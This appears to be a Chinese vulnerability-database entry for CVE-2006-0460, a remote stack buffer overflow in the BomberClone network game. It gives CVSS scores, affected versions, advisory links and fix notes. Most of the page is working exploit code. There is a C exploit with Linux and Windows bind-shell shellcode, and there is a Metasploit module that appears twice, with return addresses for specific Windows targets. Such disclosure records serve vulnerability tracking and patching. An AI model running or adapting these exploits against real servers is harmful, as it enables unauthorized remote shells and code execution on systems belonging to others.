CVE-2006-0460
CVSS7.5
发布时间 :2006-02-16 20:02:00
修订时间 :2011-03-07 21:30:04
NMCOEPS    

[原文]Multiple buffer overflows in BomberClone before 0.11.6.2 allow remote attackers to execute arbitrary code via long error messages.


[CNNVD]BomberClone 缓冲区溢出漏洞(CNNVD-200602-239)

        BomberClone是一款多人的网络游戏。
        BomberClone处理用户游戏操作的报文时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。BomberClone处理游戏报文时存在一个典型的栈缓冲区溢出漏洞,攻击者可以通过发送超长的某种类型的请求触发漏洞。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:bomberclone:bomberclone:0.9.6
cpe:/a:bomberclone:bomberclone:0.6
cpe:/a:bomberclone:bomberclone:0.11.4
cpe:/a:bomberclone:bomberclone:0.5
cpe:/a:bomberclone:bomberclone:0.3
cpe:/a:bomberclone:bomberclone:0.9.8
cpe:/a:bomberclone:bomberclone:0.9.7
cpe:/a:bomberclone:bomberclone:0.11.5
cpe:/a:bomberclone:bomberclone:0.8
cpe:/a:bomberclone:bomberclone:0.11.3
cpe:/a:bomberclone:bomberclone:0.11.6
cpe:/a:bomberclone:bomberclone:0.9.9
cpe:/a:bomberclone:bomberclone:0.2
cpe:/a:bomberclone:bomberclone:0.1
cpe:/a:bomberclone:bomberclone:0.9.5
cpe:/a:bomberclone:bomberclone:0.4
cpe:/a:bomberclone:bomberclone:0.7
cpe:/a:bomberclone:bomberclone:0.10.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0460
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0460
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-239
(官方数据源) CNNVD

- 其它链接及资源

http://www.gentoo.org/security/en/glsa/glsa-200602-09.xml
(VENDOR_ADVISORY)  GENTOO  GLSA-200602-09
http://www.vupen.com/english/advisories/2006/0643
(UNKNOWN)  VUPEN  ADV-2006-0643
http://xforce.iss.net/xforce/xfdb/24764
(UNKNOWN)  XF  bomberclone-error-message-bo(24764)
http://www.securityfocus.com/bid/16697
(UNKNOWN)  BID  16697
http://www.osvdb.org/23263
(UNKNOWN)  OSVDB  23263
http://www.debian.org/security/2006/dsa-997
(UNKNOWN)  DEBIAN  DSA-997
http://secunia.com/advisories/19210
(UNKNOWN)  SECUNIA  19210
http://secunia.com/advisories/18915
(UNKNOWN)  SECUNIA  18915
http://secunia.com/advisories/18914
(UNKNOWN)  SECUNIA  18914

- 漏洞信息

BomberClone 缓冲区溢出漏洞
高危 缓冲区溢出
2006-02-16 00:00:00 2006-02-17 00:00:00
远程  
        BomberClone是一款多人的网络游戏。
        BomberClone处理用户游戏操作的报文时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。BomberClone处理游戏报文时存在一个典型的栈缓冲区溢出漏洞,攻击者可以通过发送超长的某种类型的请求触发漏洞。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.bomberclone.de

- 漏洞信息 (1602)

BomberClone < 0.11.6.2 (Error Messages) Remote Buffer Overflow Exploit (EDBID:1602)
multiple remote
2006-03-22 Verified
11000 esca zoo
N/A [点击下载]
/*
 * bomberclone < 0.11.6.2 remote exploit
 * CVE-2006-0460
 * 3/14/06
 * escazoo@yahoo.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* fork() + bind() port 31337 - ty izik */
char linux_shellcode[]= 
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80"              
"\x5b\x5d\x52\x66\xbd\x69\x7a\x0f\xcd\x09\xdd\x55\x6a\x10\x51"                  
"\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\xb0\x66\xcd\x80\x5f\x50"                  
"\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x93\xb0\x02\xcd\x80\x85\xc0"             
"\x75\x1a\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xb2\x6a\x06\x58"                 
"\xcd\x80\xb3\x04\xeb\xc9";            

/* bind shell to 4444 - metasploit */
char win32_shellcode[] =
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x36"
"\xbc\x74\xb1\x83\xeb\xfc\xe2\xf4\xca\xd6\x9f\xfc\xde\x45\x8b\x4e"
"\xc9\xdc\xff\xdd\x12\x98\xff\xf4\x0a\x37\x08\xb4\x4e\xbd\x9b\x3a"
"\x79\xa4\xff\xee\x16\xbd\x9f\xf8\xbd\x88\xff\xb0\xd8\x8d\xb4\x28"
"\x9a\x38\xb4\xc5\x31\x7d\xbe\xbc\x37\x7e\x9f\x45\x0d\xe8\x50\x99"
"\x43\x59\xff\xee\x12\xbd\x9f\xd7\xbd\xb0\x3f\x3a\x69\xa0\x75\x5a"
"\x35\x90\xff\x38\x5a\x98\x68\xd0\xf5\x8d\xaf\xd5\xbd\xff\x44\x3a"
"\x76\xb0\xff\xc1\x2a\x11\xff\xf1\x3e\xe2\x1c\x3f\x78\xb2\x98\xe1"
"\xc9\x6a\x12\xe2\x50\xd4\x47\x83\x5e\xcb\x07\x83\x69\xe8\x8b\x61"
"\x5e\x77\x99\x4d\x0d\xec\x8b\x67\x69\x35\x91\xd7\xb7\x51\x7c\xb3"
"\x63\xd6\x76\x4e\xe6\xd4\xad\xb8\xc3\x11\x23\x4e\xe0\xef\x27\xe2"
"\x65\xef\x37\xe2\x75\xef\x8b\x61\x50\xd4\x65\xed\x50\xef\xfd\x50"
"\xa3\xd4\xd0\xab\x46\x7b\x23\x4e\xe0\xd6\x64\xe0\x63\x43\xa4\xd9"
"\x92\x11\x5a\x58\x61\x43\xa2\xe2\x63\x43\xa4\xd9\xd3\xf5\xf2\xf8"
"\x61\x43\xa2\xe1\x62\xe8\x21\x4e\xe6\x2f\x1c\x56\x4f\x7a\x0d\xe6"
"\xc9\x6a\x21\x4e\xe6\xda\x1e\xd5\x50\xd4\x17\xdc\xbf\x59\x1e\xe1"
"\x6f\x95\xb8\x38\xd1\xd6\x30\x38\xd4\x8d\xb4\x42\x9c\x42\x36\x9c"
"\xc8\xfe\x58\x22\xbb\xc6\x4c\x1a\x9d\x17\x1c\xc3\xc8\x0f\x62\x4e"
"\x43\xf8\x8b\x67\x6d\xeb\x26\xe0\x67\xed\x1e\xb0\x67\xed\x21\xe0"
"\xc9\x6c\x1c\x1c\xef\xb9\xba\xe2\xc9\x6a\x1e\x4e\xc9\x8b\x8b\x61"
"\xbd\xeb\x88\x32\xf2\xd8\x8b\x67\x64\x43\xa4\xd9\xd9\x72\x94\xd1"
"\x65\x43\xa2\x4e\xe6\xbc\x74\xb1";

struct pkgheader {
 unsigned char typ;
 unsigned char flags;
 signed short id; 
 signed short led;
} pkgheader;

struct pkg_error {
 struct pkgheader h;
 unsigned char nr;
 char text[816];
} pkg_error;

int main(int argc, char *argv[]) {
 char *ptr;
 int sockfd, i;
 long *addrptr, ret;
 struct sockaddr_in vict;
 
 if(argc < 4) {
  fprintf(stderr, "%s IP Port [target]\n", argv[0]);
  return -2;
 }

 
 memset(pkg_error.text, 0x90, sizeof(pkg_error.text));
 if(!strcmp(argv[3], "win32")) {
  ret = 0x77dab1da;
  memcpy(pkg_error.text + 701 - strlen(win32_shellcode), win32_shellcode, strlen(win32_shellcode));
 }
 else {
  ret = 0xbffff164;
  memcpy(pkg_error.text + 701 - strlen(linux_shellcode), linux_shellcode, strlen(linux_shellcode));
 }
 
 pkg_error.h.typ = 0; 
 pkg_error.h.flags = 0;
 pkg_error.h.led = sizeof(struct pkg_error);
 pkg_error.nr = 'A';

 ptr = pkg_error.text + 732;
 addrptr = (long *)ptr;  
 for(i = 732; i < sizeof(pkg_error.text); i+=4)
  *(addrptr++) = ret;

 vict.sin_family = PF_INET;
 vict.sin_port = htons(atoi(argv[2]));
 vict.sin_addr.s_addr = inet_addr(argv[1]);
 memset(&(vict.sin_zero), '\0', 8);

 if((sockfd = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
  perror("socket");
  return -1;
 }

 if(connect(sockfd, (struct sockaddr *)&vict,
 sizeof(vict)) < 0) {
  perror("connect");
  return -1;
 }

 if(send(sockfd, &pkg_error, sizeof(pkg_error), 0) < 0) {
  perror("send");
  return -1;
 }
 
 close(sockfd); 

 return 0;
}

// milw0rm.com [2006-03-22]
		

- 漏洞信息 (16433)

Bomberclone 0.11.6 Buffer Overflow (EDBID:16433)
windows remote
2010-04-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: bomberclone_overflow.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Bomberclone 0.11.6 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
				The return address is overwritten with lstrcpyA memory address,
				the second and third value are the destination buffer,
				the fourth value is the source address of our buffer in the stack.
				This exploit is like a return in libc.

				ATTENTION
				The shellcode is exec ONLY when someone try to close bomberclone.
			},
			'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2006-0460'],
					['OSVDB', '23263'],
					['BID', '16697'],
					['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ],
				],
			'Payload'        =>
				{
					'Space'    => 344,
					'BadChars' => "\x00"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows XP SP2 Italian',   { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA
					['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA
					['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 16 2006'
			))

		register_options([ Opt::RPORT(11000) ], self.class)
	end

	def exploit
		connect_udp

		pattern  = make_nops(421)
		pattern << payload.encoded
		pattern << [ target.ret ].pack('V')
		pattern << "\x04\xec\xfd\x7f" * 2
		pattern << "\xa4\xfa\x22\x00"

		request  = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"

		print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")

		udp_sock.put(request)
		udp_sock.get

		handler(udp_sock)
		disconnect_udp
	end

end
		

- 漏洞信息 (F83072)

Bomberclone 0.11.6 Buffer Overflow (PacketStormID:F83072)
2009-11-26 00:00:00
acaro  metasploit.com
exploit,overflow,shellcode
windows
CVE-2006-0460
[点击下载]

This Metasploit module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows. The return address is overwritten with lstrcpyA memory address, the second and third value are the destination buffer, the fourth value is the source address of our buffer in the stack. This exploit is like a return in libc. ATTENTION The shellcode is exec ONLY when someone try to close bomberclone.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Bomberclone 0.11.6 Buffer Overflow',
			'Description'    => %q{
		This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
		The return address is overwritten with lstrcpyA memory address,
		the second and third value are the destination buffer,
		the fourth value is the source address of our buffer in the stack.
		This exploit is like a return in libc.
		
						ATTENTION
	The shellcode is exec ONLY when someone try to close bomberclone. 
			},
			'Author'         => 'Jacopo Cervini <acaro[at]jervus.it>',
			'Version'        => '$Revision$',
			'References'     => 
				[
					['CVE', '2006-0460'],
					['OSVDB', '23263'],
					['BID', '16697'],
					['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ],
				],
			'Payload'        =>
				{
					'Space'    => 344,
					'BadChars' => "\x00"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows XP SP2 Italian',   { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA
					['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA
					['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA
				],

			'Privileged'     => false,
			'DisclosureDate' => 'Feb 16 2006'
			))

			register_options([ Opt::RPORT(11000) ], self.class)
	end

	def exploit
		connect_udp

		pattern  = make_nops(421)
		pattern << payload.encoded
		pattern << [ target.ret ].pack('V')
		pattern << "\x04\xec\xfd\x7f" * 2
		pattern << "\xa4\xfa\x22\x00"

		request  = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n"

		print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")

		udp_sock.put(request)
		udp_sock.get

		handler(udp_sock)
		disconnect_udp
	end

end
    

- 漏洞信息

23263
BomberClone Error Message Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Vendor Verified

- 漏洞描述

A remote overflow exists in BomberClone. BomberClone fails to perform a proper boundary check within the processing of error messages, resulting in a buffer overflow. With a specially crafted request, an attacker can cause execution of arbitrary code resulting in a loss of integrity.

- 时间线

2006-02-16 Unknow
2006-03-22 Unknow

- 解决方案

Upgrade to version 0.11.6.2-r1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds. Note: Version 0.11.6.2-r1 is available in the BomberClone CVS repository. The fix has not yet been backported to the current stable version (0.11.6.2)

- 相关参考

- 漏洞作者

- 漏洞信息

BomberClone Error Messages Buffer Overflow Vulnerability
Boundary Condition Error 16697
Yes No
2006-02-16 12:00:00 2006-04-17 06:21:00
Discovery is credited to Stefan Cornelius.

- 受影响的程序版本

Gentoo Linux
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
BomberClone BomberClone 0.11.6.2
BomberClone BomberClone 0.11.6.1

- 漏洞讨论


BomberClone is prone to a buffer-overflow vulnerability. This issue is due to a failure in the application to perform proper boundary checks on user-supplied data before storing it in a finite sized buffer.

This issue may be exploited to execute arbitrary code in the context of the user who is running the application.

Version 0.11.6.2 is vulnerable; other versions may also be affected.

- 漏洞利用


Exploit code is available.

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

Please see the referenced vendor advisories for further information.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站